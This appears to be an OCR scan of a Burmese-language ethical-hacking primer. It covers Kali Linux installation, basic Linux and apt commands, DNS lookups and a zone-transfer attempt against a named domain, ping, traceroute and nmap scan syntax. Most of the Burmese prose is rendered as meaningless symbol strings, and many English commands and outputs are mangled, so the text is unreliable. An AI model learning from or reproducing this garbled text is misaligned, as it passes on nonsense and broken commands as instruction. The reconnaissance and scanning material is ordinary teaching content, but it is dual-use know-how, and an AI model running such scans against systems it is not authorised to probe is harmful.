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CHAPTER 1: Introduction to Hacking
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CHAPTER 4: Kali Linux Installation

Introduction
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Installation Prerequisites

* A minimum of 20 GB disk space for the Kali Linux install.
« RAM for i386 and amdé&4 architectures, minimum: 1GEB, recommended: 2GB or more.

* (CD-DVD Drive / USB boot support
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Making Kali Linux Latest Installer Disc
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Version Released Date File Size
PowerlS0O v7.0 (32-bit) Oct 25, 2017 4161 KB
PowerlSO v7.0 (64-bit) Oct 25, 2017 4079 KB

M Download PowerlSO v7.0 (32-bit)
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Kali Linux Installation
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Select a language

Choose the language ta be used for the installation process, The selected language will also be the
default language for the installed system,

Language:

Chinese (Simplified) = i) (=]
Chinese (Traditional) - Ssx(E8

Croatian - Hrvatski

Czech - Cedtina

Danish = Dansk

Dutch - MNederlands

Dzongkha - Em

Esperanto - Esperanto

Estonian =  Eesti

Finnish - Suomi

French -  Frangais

Galician - Galego

Georgian - Jafmyena

German = Deutsch

Grmak S § T [~
Screenshot Go Back | Continue

C C C (S ’] C ° .
S§OMMOICH IVWOOM: 6§Eg|0qe0l saaoce@acg: English
ocC . oCcoc¢C C
sao?c:c\) ooo:@: Enter (or) Continue ‘?o‘%co']oooou

Select your location

The selected location will be used to set your time zone and also for example to help select the system
locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected, Choose “other” if your location is not
listed.

Couwntry, temitory or area:

Hong Kong =
Iindia

Ireland

Israel

New Zealand

Nigeria

Philippines

Singapore

South Africa

United Kingdom

L EEEEETTEEE——
Zambia

Zimbabwe

other

Screenshot | Go Back | Continue

Location ea:of) e§oogooogao<§<fomé: eea::r\a Enter (or) Continue
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Configure the keyboard

Keymap to use:

American English -]

Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian (BDS layout)
Bulgarian (phonetic layout)
Burmese

Canadian French

Canadian Multilingual

Catalan J
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[ screenshot Go Back | [ Continue ]
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Configure the network

Attempting IPv6 autoconfiguration...
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Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is

not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
assocdiated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals,

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the “sudo”
command.

Note that you will not be able to see the password as you type it.
Root password:

_| Show Password in Clear

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

eseseese ]
Show Password in Clear

Screenshot | | GoBack | Continue

Q C . . C C C C

Soeocmeody Kali Linux 92005 root Password copoogCiqew
esepOll 9205 §dMORLd 030d password 03 SR ECledI powd
P (o] 16 L°7 2R P L 2 o] 9 e
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Configure the clock

if the desired time zone Is not listed, then please go back to the step "Choose language® and select a
country that uses the desired time zone (the country where you live or are located).
Select your bme zone:

Central
Mountain
Pacific
Alaska
Hawall
Arlzona
Fast Indlana
Samoa

Screenshot Go Back Continue
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Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk
Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM

Manual
‘Screenshot Go Back [ Continue |
Kali Linux mog%d’g: ooéeof:)aaeogelo& Virtual Machine sa@o%
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- Installing the system...

Copying data to disk...

Kali or% 00o¢ Install e§[§ @ogo']coof)u



Qo

Configure the package manager
A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a network mirror?

C ocC . ° C
saooooo’]sao?c: Network Mirror a5eco2: ce:qc No R e@o’]u
Configure the package manager
If you need to use a HTTP proxy to access the outside world, enter the proxy information here.
Otherwise, leave this blank.

The proxy information should be given in the standard form of “http://[[userll:passl@lhostl:portl”.
HTTP proxy information (blank for none):

[

C f] ocC C N\
32C0M0I9207C: Package Manager configure @2 00O WD
. Q _C f]

continue avleallll
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Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.
Install the GRUB boot loader to the master boot record?

) No

@ Yes|

GRUB orecom: cescondleddi e@ogee§ Yes ea:eo:o’]u

KALI
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Install the GRUB boot loader on a hard disk

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable
device. The usual way to do this is to install GRUB on the master boot record of your first hard drive. If

you prefer, you can install GRUB elsewhere on the drive, or to another drive, or even to a floppy.
Device for boot loader installation:

Enter device manually
/devivda

GRUB 0005 esep ea:gézcooo']u O0lgc3&: sa3melo&sad egp
c (] o L L L L L
ool



Finish the installation

Installation complete
@ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media, so that you boot into the new system rather than restarting the installation.
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CHAPTER 5: Linux Fundamental

1. Introduction to Linux
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3. The Command Line
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€ hY C Q0 Q C N ocC C C C ’] C
ODG(‘DO)Gl GCPOMBD e CU300Y OC Degm OO@ODCZ @’DB‘DO [epleb]]]
o 1 L ° L (o] 1

sldqleony Is  § [gSeedgpdel test2ixt Doy  BEe§r05062
06036502003 [gEqeadl
L L 4

~/Desktop/test# 1s
test te :‘t" txt test four test-three test.

-/Desktop/test# |

fr Home  Deskiop | test

E— R e o

test test.txt test2.ut test four test-three two
folder oo Q)D“@é@éelémé" saooo%o’]s»o%é" géqtso(ﬂu test2.txt
1o5) 6@80'103 3% ogﬁeono; qmao; This is my testing. eomom

) ’] QC
603610 C\)@@OOII command line (73 @§CD’DZ€1€S’B’DCII
o L o

f(mr t

is is my t
~/Desktop/test# ||

200050 6@9@ Se& cat command o3 39:)5"@@"@0)0 530
(1 gq L T° l ° s GI]. g

Q (o C cocC ’] C o ° °
[2sl={eples) @§G®D@8§CO)’D 603610 Il 2000 S’DCDZE][O(‘DGO)’D cat file-name
o L 5L & e 'L L L s

o . ocC c o o _C o
90 terminal oal=ty txt oc co§o>:@: elN[ealeppll elen)

o}

@$ é@émo 006 eeo=e&°@°@@®o’]m(ﬁu 89’]@0}9 9% test2.txt
C

o o (o] (S C
LDCOZ\)O) G§’D(‘DOOO ®DG@’DC OZ)(D@ @0038@86163’3’3(3"
L L L °

st# echo "I am learning Ethical Hacking." > test2.txt

9% command line obtfoc\) echo "I am learning Ethical Hacking." >



Q o _C CcC O ¢ oc O
test2.txt X edmoogqgmon(ﬂu 20O test2.txt (Cleep) 00M

0>02:6$6pe> [ am learning Ethical hacking C\% Ejéeugeo]u

I am learning Ethical Hacking.

ctop/test# |J
C ° CcC _C N P o

saoomo’]cegso@gqc Qg ecoood: This is my testing. cgeped |

. . . o o C C (o]
am learning Ethical hacking. s0020m 202:00:0C6gpMIQ0202003 eogelcfoo']u
el entes; @60}0@030535 006@ 580DqEc0 > 6seRed >> §6900 adqEd

PR L 2RO : PPS 1% 2°8|5

@@o’]mwu

:~/Desktop/test# echo "Ethical Hacker." == test2.txt
:~/Desktop/test# ||

C o Cc _C Cc .
200050 99’3@@610 %mme@oc:a\)?e Ethical  Hacker
C o O ’] C o ° N\ C
oW Q) PVOOIOWI >> o) sao?:@[oooscgsacgm

Ethical Hacker.

:~/Desktop/test#

200050 C)@’D@ S cat & @Ceco%@ Neslesleprer B me@oé"em
T3 gq 2 99 g L °
Cc O ] (o Q c O C ] C
fesleles av plepales) em@cq@oo I 86QDMV  §20Gy  W00loodl
L L [e 4 d L [ L
ocC C (o [og N\ . O O _C oy c
BCEPOIEE DOICIPEEFIETICI Y0} terminal 03 005(G:32200 [Y$0
L Jd (o] o [eld ° L (o]
S50l @ & find command o3 s»oa@@ s 0Ssfmndgesndl
356 [§:q€ find command o3 <208:{jfG: spegsed: oSioiedq
° ° (o] C cOoC log C C
5220:[g| 00007 find POV PIGsE -name POBC IR [Yooloowdi
C C (o c c O
§2:00P0EEIC e@o@qqc POLd-  0Q$E00NM Desktop <o 9 2%
C 0o

C c 9 Q ocC
00:VOVS TIROOD0Y folder D test2.txt BOFOCE:0)

-

spl3pdecdaddleonn ¢poy command o> find, gpgEoesepon Desktop,
3Eso0p5 [gbefops -name,gpcdoy BEgo0pdm test2.txt BDeory poyZesl
L ¥ 8 ’ﬁp L s 1 ¢ 8 L ° ?P °
o?:eleuti command o find Desktop -name test2.txt Qi

:~# Tind Desktop -name testz.txt

~# I

C Q C N C o
ao@gqmo;s»a’]goem? 5200050 09207¢:0 Desktop colon test

Q Q ocC Q C C
Doy folder odeo test2.txt BREE  Jelogpls  [gandleoroddi sl

QC N\

NS5 cs S test2.t tgoéoa S D kt colon S Boonad epc@
o|§ i §§g estaix LC 8 CSC op é ?10 ° T °0L°CJ T
Slezell samw§ MDAI6HYPI9$3 0B 380131 :ﬂeoelceoy)

d d L L [ L °



NS5 e S tem 02903 Oleomedil system § 20
0J§ i $§ Syste T A ?Pq G Syste 61

/ [gdSloncd root system "/" S Slefo3dé gpegoyses] epyoyesep o3 / O

Q ¢C ’]
ceptievieaNITe T8}l
L d
:~# find / -name test2.tixt
find: ‘/proc/1068/task/1068/net’: Invalid argument
find: ‘/proc/1068/ne

r

Invalid argument
t/Desktop/test/test2. txt

saooo%o’]éo% @fe(ﬁ 616 03|$eo>80333e§$ test2.txt 835

system o;o%:fc?:gso §pc§o‘5mu§u /root/Desktop/test/test2 txt o @038303

N
N

o .
Desktop el test 9905 directory oogoeﬂc)we?mocq :D&Lc@ @00 fopleb]]
(S C Q . C ..
3e§epeo oooe@ oM e@'x\)oy)m Linux system oop> Case Sensitive
20 L
C ° C (o
@o)o:wco BImedesdl  oad: s'a@:s»eoa: C\chm@: §Po>
L Le L o d
C ’] N C (o c O C ocC
SOOI FHDREY  (PY$eoO0) oy oco T w@:mfm
[ ] L ILo c ° c [ d ° L o ¢
VI 0QOM eq:qo’]ewu sa@:coo: SzIoovHeVa RN CIev N (o=t )

835@@@@&10@9 [Tt]est2.txt e%@: s'mmd’g: w@:@@@é wew:@o%@og

’] Q O Q0 ¢cMm¢ C ’] C
@O C\B° S(EC\B(‘D@CZ @00 [opleb]]]

~# find / -name [Tt]est2.txt
find: ‘/proc/1060/task/1060/net’': Invalid argument
find: ‘/proc/186@/net’: Invalid argument

/root/Desktop/t /test2. txt

cocC (S

ocC C ’] Q (S ° C Q
®C§’3@8@’3 test oloxdeon000WIl S’D’DZC\)ZC\)@Z GOD@J’D@CDCDZ
o o Le ° s L iL
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iL 5 L 1 NoT L L

’] QC cC. 9 c O N
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C N c 0 C O C ’]
OOOQ@Z GSOZG&ZCD’DZQGS’B’DCII O 000632D0CaOll
[e] [e] o O L 4 °

APT Package Handling Utility
. -1: Q Q C o
APT Package Handling Utility opeodp apt-get oo sacgudad
Q C o . C C
oa@o’]mwu package eood install coOepedeep remove COOPEOIGENI
C QC (S C C N C Q Q C
upgrade @lagoepgsoeep :Docgwoa@: cmnCigs0) tool oy e?elo']ewu
(o C O o C . . (o Cc O ° \ .
Qpeonoyadery Kali Linux ¢ oggeoddoy od:es0)  Android el
PlayStore Q%(%Feom application 003 qwgée(ﬁ source o639 810’]0)&%
L ° O L IL L ° L d

N C N (o C ON (o N O C C Qo _C
S’DOD@ source §° (78]§GO)’DO:L>°€L (73§OJ||-O)’D§° QJODSO(“D@Z@Q?QCGO)? apt-get



2903 q§8E[Q[gdcloncdn apt-get

(o] C
meg software package em 520900 \
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[

C Q

L
(o] C C
('DG§ software 803('73 OgC:OO@C:(f’J 3208 e

O
Q

(S N 9O C
OlooQJIl CD’DGOgC\)S?GlC

s

package 036:5 install @lagcsgoepsa ependency ¢ (@:mé

C C C C C C N Q C C Q ’] Q ’]
Q632D C GB’DGlGlC G%’D(’DOOO 0 ®OG§O) C\)S’BOQJ(’DGO) 00 GO)’DII) (0p]6]
o o L s L
C C

C
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C Co o ’] C ’] C .9
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@C\EGO)?UI%SGO]II
o _C C C C C
OGlC:GS’B’DC 80@’380861610 Pen-tester copi Hacker coo ocuodone:
Ld [e] [e]

8’3&58@[@(\)810\) Metasploit o3 program o> RUBY o3eslod Programming
L ° 1l s L o 3

Language eochso»ée§(ﬂo>QSu RUBY or% install @lagéoom@é:eéjd\)
Metasploit or% run C\% eq%éo’]:ra:u 3’]@@05 RUBY :Dé Metasploit §,
dependency @ogo']mugu (Metasploit ™ ogﬁeo»%o% sao?:@[euts Kali Linux ¢>
o’]oé@:oao: o%oy)% RUBY ol o’]oé@:oao:@o%m(ﬁa%moem? e@o@ep
ec@eon:me(ﬂeﬁ)u 8c07) @$@e@oqqé apt-get o>e$ app 6003 install

L 570 ° g o L
cC o ¢ O N (o] '] C '] Co . . 11
QOLWVHC  D0E), dependency copool ooolodPd:  automatic insta
L IL L o L
Q)(Seo:ogo:o']m(ﬁu poed- apt-get install virtualbox agLo']eO)?u virtualbox ¢

(0(7% 05" @QS aj GO)(T%()(] (9] COD(%"GO"@D"O’]O)QS"
889 app €M R C3e0: °
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o}

o3 -

N c Q C cocCco C N .
TV QVOEICRCATYMIE0y  /ete/apt/ cOod  sources.list

~co

c O N C . C c o¢C C .

coy leafpad (or) gedit ¢ gg@. sources.list oogogc.‘%co']mwu sources.list
00 O . . . . C ocC Q
660y install consoy Kali Linux Version col’ %m@@: org)@o:?con%

c . . [ c
3@?61’.)(?’3 @G@D@GO}?O(]UPL:" WWW_khltmlnnyO.Com (JQ’J G@D@GO:@D:O(]O)Q)"

° 3

. ocC C ocC C
apt-get install (package) o> package 0>Ci220305 Q8C0O20607 e@mo’]:ra:u
00 0 S, SN ocC N Kk 9 Qo¢ c@,
©00) OPYOYCID0) source € §&Coy package e0MRAOO qa@cgo@o@.
sa@o:eooo package eogor%eoy; ODOSS(%(%GTD source  6QME$

’]C QOoC '] C . . C . C Q C
cslctmyqgacoloooon Kali Linux oop> Debian Based @@m’)q DPRNRMD
IL LAl L8 [ o
package eogoaé debian package (dpkg) @ogo']om%u Ubuntu oaémé:
Debian Based @o%onc% Ubuntu ¢ Kali ©> Debian package (dpkg) eogor%
oaéogoo sao%:@l%éo']m(ﬁu dpkg sopq, file extension 0>c027 .deb @o%o’]m(ﬁu
poed- example.deb sdli
deb 3Econod install $secnodcox dpkg -i o3 saoS:E.jlo']mugu
L o L e o ° L L
Debian Package eogor% install @69&3(\% agLQ%oneoju Terminal ones .deb 838
Q N o C c O ¢ C O o . ocC
ORQI) CHEPOY oceepooagooo’]u @:qc dpkg o?o?:@: install ‘%co']@u po©D
Download 3co2:0) example.deb o3 install 6c5 <3cleoxpn Downloads
directory o?)or% cd command § oéeepor%@: dpkg -i pkg-name.deb § install
88doaci



:~# cd Downloads

:~/Downloads# dpkg -1 emxample.deb

s063leoy) apt-get command (7%3’2058@[@8 package 0203 install
L ° L L o L
Q@@éqes’néu s»o?:@lqe(fé command o> apt-get install pkg-name
@ogo']m(ﬁu 3’]3(%615 Photoshop C\% @005(‘.’3@50:) free software mo%:go% install
C C C N k . C C . Q - 11 C
ng@gqesmcu 20q), pkg-name o> gimp @@m’ae@og gimp o> install qoop
command C)Oé apt-get install gimp @ogo']m(ﬁu ogwsqoao'](\)u Virtual Box (7%
install C\%o']m apt-get install virtualbox C\% %o%ooéelcfo@ogcﬂmugu

Update
C o - OCo .
apt-get 20po app & dependency ecab install co:&C§aooe0d install
o020 package coxs0n0d update 88E0 s»e@s;;e 30l eco%@eu’gcc:oacx%
02 P g (¢} (e} p QPR R ° L
update copds @mﬁeo"g&ﬂeoym(ﬁu sources list co Coacc:*’@*’oa 553] @o%eom
p B2F Y ROc0j : S S S i &
c N S as S S, Q C N foge}
source 00099 e@oc. evfeser B@eom @goac.mmm source SPVOM
LL L 5 O L °
N o C cCOoCO C
9/05500&C@s0M>  apt-get update command

o

(o C ON C
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r),_80,_

203(g Ol S B9 oldl mI§ecS038, 05003 package 6090205
249 I iL 3® 28 0% 928192 P g (¢} (¢}

QoC C (o N C ocC C
upgrade qf§CeT0mORs  apt-get update ) ®®eeo:§Lco']e:D:o>wu
(eogap%u Il apt-get s200: apt oald mﬁ:@lgéo']omgueoeo apt update,
4 L L L

apt install gimp, ...)

Upgrade
eéoaé ®§og<ﬂ 39@035:; @:Bééee§o I 9280n Operating System

-

Q C C C ° Q0 C C c 9
lop{enlopl=tcrale B[coocm D20 TDC ©$02300I
L L L LL O IL
C C (o C C
3ODMEMOCIPHE3DC00I patch management eoyl new feature eop
C C (o] (o C C C C C
C0PYOYC0N0I bugs c0R0) ©$60IOCETOC @[@con [ loppl=loplcrlenlon] 390899@
[e] o L 1 [e] o

3030

Q C
development state &> aeyﬂo;wu
0g$e00503q, Kali Linux > ocopyaylssaodslgioonso) package

C . Q N ’] coc C
cO320000 NEwW  version 6036161038’39 upgrade Bl&)o& cood command
[e] [e] O il e L L °

o3copd: apt-get (or) apt § saol?:@mo’]m(ﬁu upgrade @lqgf)®ep§e§o§sc>a’]

L

(sgcﬁonm application 0062 oo:qé:saoao% 000505339']) apt-get update (or)
Pt C C C€C 9 0 - T’]J C © ’

apt update C\go@gqc S col Olewdl

Fetched 1,673 kB in 18min 23s (2,681 B/s)

Reading package lists... Done

Building dependency e

Reading ate informat Done
399 pack s can be upgraded. Run 'apt list --upgradable' to see them.




C’] o N\ ocC o ’T‘ C ’] 00 O C
920000 0dMNo3C: 92055036077 60l grewodvll 6603 PodC
9205:(g|0) 925§ package 60p 030(g§228EClonddi 3 den(o3p5qE 399 packages
can be upgraded. Run 'apt hst --upgradable' to see them eo@ eo;elo']coeewu

upgrade @mo&cm package edlés 399 3 aomge@o?s»e@o&
cwd[goontonad apt list --upgradable o3 9203:(gB upgrade [good8Eead list o3

CocC N C, .C e i
@g@cogs%e@oc, GLD’DE]GOoOO’DoO)’DO I

/kali-rolling ©.8.2-2 amd64 [upgradable from: ©.7.3-3+bl]
/kali-rolling 5.4.2-1 amd64 [upgradable from: 5.4.1-1]

/kali-rolling,kali-rolling 5.4.2-1 all [upgradable from:

3005010 eor upgradable conod e@%@ S523] @5 00d
? 2 Upg 57 23 9
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C C ° c _C ° 0
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N
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package o%oao G%TSQJOS upgrade C\%(ﬂm apt install o% saofB:E]éLco']o;wu poed
- zsh o% upgrade @[C\BLC)C\%O’](‘D apt install zsh eQln

:~# apt install zsh
Reading package lists... Done
Building d ndency t
Reading state information... Done
The following additional packages will be installed:
zsh-common
ted packages:

ollowing packages will be upgraded:
sh-common
raded, © newly installed, @ to remove and 397 not upgraded.
) get 4,377 kB of archives
i thlb operation, 188 kB of ditional disk space will be used.
you want to continue? [Y/n] |

apt-get install (or) apt install command o% sao?:@[o?s»é] s»éf”ueoao

. C C C C o] C
package eces install O 6O wmg@lqcﬂmwu 923|,9200006077
039260lona Do you want to continue? [Y/n] 98@: ee:emglo']m(ﬁu y o
L L L ° 1 L
o3
w@:mc@:% e@%@ooo:mom default o Y C\% e%c@ono’]u N o% 39@$

C C Q _C C ocC C
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C C Q Q C o . C o]
ecoo@ooo:qceoyg Default o N o :Delo']ewu 30%2qe0 install 06 Y
o ’] C o _Q c o c Q ’] ° C
o2 e@qo eIl W) Y/N 66:62005250¢0) 6OPA0IM sao?:@eug command
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Q%o']m apt install gimp -y (0%90305) apt-get install gimp -y a%@: command
%05%99 @Bcﬂmugu install progress 100% @é@ command line
e§005moge@05: el Clon install @:aﬁ’g:@@tgo’]m(ﬁu

:~# apt upgrade -yl
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-

Distribution Upgrade
833Cimeory  apt upgrade 033 e@oam Q&Commeom
OC3 2 ap pg 27 Q812 ;
C . C o C . C
903030']33:" Kernel Version @gogo:moeJ[:| zﬂgseo?m system version 83000
C o . . o cocC o C
Q00 QOMQ (eoeo- Android Version 5 ooe$ 6, 7 0 @g‘%cmoeﬂ,) Cleslzlentep
C C ° ocC C'] C C Cc O . .
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d L L L d [
2016.2 (7% Install @lagaooosm(ﬁu 3 (8®oeq:e§o:)éj$cfo) Kali Linux Version
» 2017.1 B ¢ (7%0:)3'3"0']@" 807 MIS§60H03:6sS ww@@cmé
: PO s 3P 0 P ?
Q N C C C Cc O ° ocC C
Siglevat]l quo']:ra:u PO sae@sae@saogm Q$S0I20) saog:@@ceug
command coxomds QoloocSi edsloveory apt dist-upgrade (or) apt-get
s0009  § 2 ap Pg pt-g
dist-upgrade o [gocloocdu
o C
e@oc'g coayzopwgpI apt command (apt update, apt upgrade, apt
install, apt dist upgrade) co0> saoa@ 005B8qC  9C0M§0O60
> p pg 6L 29l 29 ? s
Q C’] C C c ¢, o ¢ C o C Cc O ’] C
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Removing Packages
. C Q Qo . Qo C Cc .
install we@ocz :D@a?eo;? uninstall o> aomesg:eg:o’]ewu install

C C Q c . Qo

& remove O mo@: QOOGEIC OIIEOY m@o’]mwu poe> - gimp o

[e] L ° IL

oo I

c~ ¢ ¢ ¢ . . o
[G$[god5qEqE  apt remove gimp (or) apt-get remove gimp 3

ocC ’] C o \ C C
S’BO;B:E.}[&LCO [eplob]l| (.L)iGOD? C\BO@@GOD?UIDLZG§’DII

Auto-removing
$ 39, Operating System o k licati 3
cxgﬁem 03¢, Operating System oo package (application) Sleptes
C O C N '] o N . Q C N
upgrade @c\)oc\)mmma @ package c03¢), old version 6O 605205
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co>p apt autoremove E(]ODO OO0l autoremove O e6qE0lxN:I

O

:~# apt autoremove
Reading package lists... Done
Building dependency tr
Reading state information... Done

The following packages will be REMOVED:
libblas-common liblouislz

@ upgraded, @ newly installed, 2 to remove and 3 not upgraded.
After this operation, 212 kB disk space will be fre
Do you want to continue? [Y/n] |]
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N& Ve § purg 222019 (o] L 2 ap v
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:~# tar --help
Usage: tar [OPTION...] [FILE]...
GNU 'tar' saves many files together into a single tape or disk archive, and can
restore individual fil from the archive.

-cf archive.tar foo bar # Create archive.tar from files foo and bar.
ar -tvf archi tar # List all fi in archive.tar verbosely.
ar -xf archive.tar # Extract all files from archive.tar.
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/bin/: basic programs

/boot/: Kali Linux kernel and other files required for its early boot process
/dev/: device files

/etc/: configuration files

/home/: user's personal files

/lib/: basic libraries

/media/*: mount points for removable devices (CD-ROM, USB keys, and so
on)

/mnt/: temporary mount point

/opt/: extra applications provided by third parties

/root/: administrator's (root's) personal files

/run/: volatile runtime data that does not persist across reboots (not yet
included in the FHS)



/sbin/: system programs

/srv/: data used by servers hosted on this system

/tmp/: temporary files (this directory is often emptied at boot)

/usr/: applications (this directory is further subdivided into bin, sbin, lib
according to the same logic as in the root directory) Furthermore, /usr/share/
contains architecture-independent data. The /usr/local/directory is meant to be
used by the administrator for installing applications manually without
overwriting files handled by the packaging system (dpkg).

/var/: variable data handled by daemons. This includes log files, queues,
spools, and caches.

/proc/ and /sys/ are specific to the Linux kernel (and not part of the FHS).

They are used by the kernel for exporting data to user space.
(8 file system eogor%eoyg Kali §, Official Page oes orazooozo']mugu)



CHAPTER 6: General Knowledge for Hacking

1. Basic Networking Concepts
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CHAPTER 7: Penetrating Testing Life-cycle

Steps performed by Hackers
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GNU Wget 1.19.1, a non-interactive network retriever.
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a.0rg ) or limit your results to a domain

site or domain:

e appearing: e e e = e page; pag the, orweb addfess,orlinks fo
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file type any format ~ | Find pages in the format you prefer.
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DNS and DNS Attacks
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» set type=MX
google.com

Non-authoritative answer:
<, com mail exchanger 30 alt2.aspmx.l.google.com.

2. com mail exchanger = 10 aspmx.l.google.com.

2, COM mail exchanger = 50 alt4.aspmx.l.google.

g . Ccom mail exchanger 40 alt3.aspmx.l.google

. Com mail exchanger 20 altl.aspmx.l.google
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> set type=ns
> google.com
server: 192.
Address: 192.
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google. com nameserver ns4.google.co
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google.com nameserver ns2.google.
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Information Gathering Tools in Kali Linux
Favorites
01 - Information Gathering
- Vulnerability Analysis
03 - Web Application Analysis
04 - Database Assessment
05 - Password Attacks
6 - Wireless Attacks
/ - Reverse Engineering
08 - Exploitation Tools
09 - Sniffing & Spoofing
10 - Post Exploitation

11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools
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WHOIS
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~# whois bible-history.com
Domain Mame: BIBLE-HISTORY.COM
Registry Domain ID: 3340915 DOMAIN COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2017-81-31T15:11:377

Creation Date: 1999-01-30T05:00:00Z
stry Expiry Date: 2018-01-30T05:00:00Z
1 strar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: 480-624-2505
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Search the WHOIS database
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:~# host bible-history.com
bible-history.com has address 54.201.8.54
bible-history.com mail is handled by 5 alt2.ASPMX.L.GOOGLE.com.
bible-h .com mail is handled by 1@ alt3.ASPMX.L.GOOGLE.com.

bible y.com mail is handled by 10 alt4.ASPMX.L.GOOGLE.com.
.com mail is handled by 1 ASPMX.L.GOOGLE.com.
bible-history.com mail is handled by 5 altl.ASPMX.L.GOOGLE.com.
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g target 520300 mail o) 9w handle cvocoiesadBOM
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cgColooodn target §, name server eooy cqceody host -t ns

target-domain (‘.’36’3% §PePqeP @o%o’]om%u pOEd-

-

:~# host -t ns bible-history.com
bible-history.com name rver ns57.domaincontrol.com.
bible-history.com name server ns58.domaincontrol.com.

~# I

:~# host -
bible-history.com nam 2= lns57 . domaincontrol. comp
bible-history.com name server ns58.domaincontrol.com.

:~# host -1 bible-history.com ns57.domaincontrol. com
;; communications error to 216.69.185.29#53: end of file
;; communicatio r to 21 9.185.29#53: end of file
;; connection timed out; no servers could be reached
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:~# host -1 bible-history.com ns57.domaincontrol.com
communications error to PRLGENGERPEH#53: end of Tile

communications error to 216.69.185.29#53: end of file
connection timed out; no rvers could be reached
:~# whois 216.69.185.29
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CHAPTER 9: Scanning
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Fig: TCP Three-way Handshake
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0— Echo Reply o Echo reply [used to ping)
iand2 unzssigned Reserved
o] Destination network unreachabls
1 Destination host unreachable
2 Destination protocol unreachable
3 Destination port unreachable
4 Fragmentation required, and OF flag set
5 Source route failed
[ Destination network unknown
7 Destination host wnknown
3 — Destination g Source host izolated
unreachable
= Metwork administratively prohibited
10 Host administratively prohibited
11 Metwiork unreachable for Tos
1z Host unreachable for Tos
13 Communication sdministratively prohibited
14 Host Precedence Violation
15 Frecedsnce cutoff in effect
da::::rﬁe o deprecated | Sowrce guench [congestion control)
o] redirect Datsgram for the Metwork
5— Redirect 1 Redirect Datagram for the Host
Message 2 Redirect Datagram for the To5s & network
3 Redirect Datagram for the ToS & host
& deprecated | Alternate Host Address
7 unzssigned Reserved
i;qﬂ': o Echo request [used to ping)
AdE-‘.-e_:iI:::;m o Router Advertisement
1|:|.—_!t:-u.he.r o Router discovery/selection/solictation
solicitation
o TTL expired in transit
11 —-Time
Exceaded 1 Fragment reazsembly time sxceeded
17 — Parameter o] Pointer indicates the error
Problem: Bad 1P 1 Missing a required option
header 7 Bad length
13 — Timestamp o] Timestamp
i _E:jitam? o Timestamp reply

Fig: ICMP table
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ing 192168 1R_1 with iyt i 5

90050 oo §e§os’ae§§ Ping 192.168.1.1 o% $0§0 @ooo"o’]oaoou
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i root{@kali: ~ e 00

File Edit View Search Terminal Help
:~# ping 172.16.3 1“5
3.128 (172.

from 172.16.3. icmp_
from 172.16.3. icmp_
from 172.16.3.1: icmp_
from 172.16.3.128: icmp_

s from 172.16.3. icmp_
from 172.16.3. icmp_
from 172. i _
from 172.16.3.128: icmp i .366
from 172.16.3. icmp_ 3 ti .14 ms
from 172.16.3. icmp_ ime 468 ms
from 172.16.3. icmp ime 401 ms
from 172. .128: icmp_s i 411 ms
from 172.16.3. icmp_ i
from 172.16.3. icmp

s from 172.16. _
from 172. .128: icmp_
from 172.16.3. icmp

s from 172.16.3. icmp_
from 172.16.3.1: icmp_
from 172.16.3.128 i(mp
from 172.16.3. : icmp_se

0% packet time 20316ms
.252/0.658/1.534/0.389 ms
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Traceroute
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(o] ° q (% . ° N\
command o sao?:@o oIl windows ¢> a0y Traceroute command o

tracert @o%cﬂomgu

tsllzerssroot *tracert www.google . .com

racing route to wuww.google.com [216.58.280.361
over a maximum of 3@ hops:

m 172.16.3.2

m 192 .168.43 .1
Request timed out.
Request timed out.
Request timed out.
Request timed out.
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NMAP (the King of Scanners)
. c o
Nmap oo target network col run e§05 active m$0)|0226xM
d ° o O L
BEEED &ieoSoonemm Operating System o3 5@’3°g80§0| ort listenin
it 5 0 °€18 P g oy i 380°°% p g
. N coc¢C O N\ . ] '] . C OOC
services § @®§ceq|ao; user credentials 60R0Y0 determine @ppeo@con
[og . Q (o ] c C
e@og the King of Scanners Q mcoo:eaTaQ@mo @ocﬂmwu commands,
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switches & options e sao?,@@c,sao.@g scanning phase @ @.e’a.go

C C OC N C C C ’] C
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Nmap Command Structure
Q C C C C ocC
Nmap command structure o3 92[3820/Cs9025[g¢  682005C12003Es

ew%@g&ﬂmugu
L
Scanning
Options Target(s) Dutput File
nrmap -55 -T2 192.168.10.10 -oM scan.xml
Command Timing Output

Options Options

/

Q C C o
Nmap command structure o 300l cQuig  FOQLOHD:

o

o> command ol

N Q ’] C Q0 C Q ° Q (o] C
command 61 320010000 0o O0CO program o S’BCD:B[QQ)SOO)’JO) ('D§OJ||-O)’D
o o L L L L o

C C cocC ’] C ° °
@CGOO’DC@@&LCO [eplob]]] (.)OO@S(?:O;B:OO’D:O)’DO) nmap

”.—80 '_8:

Q C C C C Q . .
206922C eaT@@c: @oo’]mwu 30OWME0) options Sl nmap oo scanning
tool @6&% .9, options oomé: scanning options eoi 390 sao?:@[@ooozmo
» -sS o s s'aeoa:%sa@:(ﬂu om  -sS/ST/sA/sW/sM:  TCP

SYN/Connect()/ACK/Window/Maimon scans C\% ach\%o']omSu nmap él
. . N o ° Q Q ¢C
